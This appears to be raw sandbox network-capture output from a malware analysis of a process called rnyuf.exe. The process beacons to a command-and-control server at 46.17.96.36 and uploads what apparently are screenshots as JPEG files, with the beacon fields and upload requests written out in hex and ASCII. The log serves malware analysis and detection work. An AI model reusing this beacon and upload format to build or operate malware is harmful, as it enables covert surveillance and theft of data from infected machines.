Aug 29, 2021 22:28:04.365880966 CEST	12814	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:04.456003904 CEST	12814	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.4	49916	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:04.677036047 CEST	12815	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:04.750861883 CEST	12854	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.4	49917	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:04.689029932 CEST	12816	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:04.689127922 CEST	12816	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:04.689295053 CEST	12826	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:04.689378023 CEST	12829	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:04.724411964 CEST	12834	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:04.724462986 CEST	12840	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:04.724638939 CEST	12849	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:28:04.724685907 CEST	12854	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:04.759861946 CEST	12857	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:04.759915113 CEST	12860	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:28:04.760123968 CEST	12865	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:28:04.865243912 CEST	12924	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.4	49918	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:04.908091068 CEST	12925	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:05.000556946 CEST	12926	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49753	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:16.533447981 CEST	2960	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:16.533713102 CEST	2961	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:16.534014940 CEST	2971	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:16.534387112 CEST	2973	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:16.569087029 CEST	2981	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:16.569139004 CEST	2984	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:16.569289923 CEST	2993	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:16.569663048 CEST	2999	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:16.604614973 CEST	3020	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:16.604674101 CEST	3023	OUT	Data Raw: 4b 96 37 fe b7 7f e4 64 d4 af 14 b1 47 14 92 45 22 47 32 96 8d 99 48 0e 01 20 90 7b 8c 82 38 ee 2a 2a e9 f5 1d 2f 56 b9 f0 9f 86 2f ed 34 fb a9 6d 6d ed 26 f3 2e 12 06 68 a3 22 e6 43 f3 36 36 8e dd 4d 6d 39 f2 b5 e6 ed f9 99 46 1c c9 99 bf d8 1a Data Ascii: K7dGE"G2H {8**/V/4mm&.h"C66Mm9F3>e-le\|(1q+2yK22! `F@'W}a}ZLCQnt$,e#,0OA-Qn-G?l.Kn,>U cb_2_c
Aug 29, 2021 22:27:16.604959011 CEST	3049	OUT	Data Raw: de af 27 b1 1f f1 3a b4 ff 00 ae cb fc e8 cb 9f fb 1b f9 9d 78 fd 31 bf 71 ea 3e 2b ff 00 90 84 7f f5 cc 57 3a c3 9e 2b a3 f1 59 c6 a1 1f fd 73 ae 70 9e 6a 30 7f c1 46 38 ff 00 e3 c8 6e 29 7a 51 45 75 9c 03 b3 4e 18 a6 01 4e 02 a5 96 87 8a 5c d3 Data Ascii: ':x1q>+W:+Yspj0F8n)zQEuNN\E-"fiYhpf)f"ARbrEJ)TSSrKIZ)F2ep`T3D; se\B^_yMEMJ=+EP)hZb"@iiE
Aug 29, 2021 22:27:16.719543934 CEST	3067	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.4	49919	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:05.175060987 CEST	12926	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:05.175317049 CEST	12926	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:05.175539017 CEST	12937	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:05.175637007 CEST	12939	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:05.208139896 CEST	12942	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:05.208233118 CEST	12950	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:05.208358049 CEST	12958	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:28:05.208610058 CEST	12965	OUT	Data Raw: 1f c3 56 c5 cb 8f 7a 91 6e bd 68 f6 70 7d 43 da 54 46 69 86 41 fc 26 9a 55 87 50 45 6b 7d a5 0f 55 14 be 64 2d d5 45 3f 63 17 b3 0f 6c fa a3 23 14 95 ae 52 dd bb 51 f6 4b 73 d3 8a 9f 62 fa 31 fb 75 d5 19 34 56 a9 d3 e3 3d 1a a3 3a 61 ec c2 97 b1 Data Ascii: Vznhp}CTFiA&UPEk}Ud-E?cl#RQKsb1u4V=:a{hx4e0KIt)TUijco"2;\KFKJp1J2n%-4!ih%8RSP(.($ZpSi,ZQIJ--%8SD;H.(&LShG.(>P!FmsG(s
Aug 29, 2021 22:28:05.242583036 CEST	12978	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:05.242665052 CEST	12986	OUT	Data Raw: 56 1d 46 29 a0 8f 5a 0b 0f 5a 61 61 c6 9b 46 45 19 a5 74 00 69 28 26 90 9a 40 38 53 c5 30 1a 76 6a 93 13 40 7a d1 de 90 9a 33 9a 00 53 47 6a 05 14 08 51 4b 8a 07 34 13 8a a0 0a 5f 7a 40 68 cd 02 b0 f1 4b 4d 07 9a 75 32 42 90 d2 d0 69 80 83 a5 2e Data Ascii: VF)ZZaaFEti(&@8S0vj@z3SGjQK4_z@hKMu2Bi.(P1NP)uJdZ`(65DfNM>0R(Jh;u4pxBcRzEM"e4`GqC;S39,>L2,:4
Aug 29, 2021 22:28:05.242697954 CEST	13007	OUT	Data Raw: 4b 96 37 fe b7 7f e4 64 d4 af 14 b1 47 14 92 45 22 47 32 96 8d 99 48 0e 01 20 90 7b 8c 82 38 ee 2a 2a e9 f5 1d 2f 56 b9 f0 9f 86 2f ed 34 fb a9 6d 6d ed 26 f3 2e 12 06 68 a3 22 e6 43 f3 36 36 8e dd 4d 6d 39 f2 b5 e6 ed f9 99 46 1c c9 99 bf d8 1a Data Ascii: K7dGE"G2H {8**/V/4mm&.h"C66Mm9F3>e-le\|(1q+2yK22! `F@'W}a}ZLCQnt$,e#,0OA-Qn-G?l.Kn,>U cb_2_c
Aug 29, 2021 22:28:05.342699051 CEST	13035	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.4	49920	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:05.222320080 CEST	12965	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:05.312277079 CEST	13034	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.4	49921	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:05.492661953 CEST	13035	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:05.574990034 CEST	13036	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.4	49922	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:05.588412046 CEST	13036	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:05.588502884 CEST	13036	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
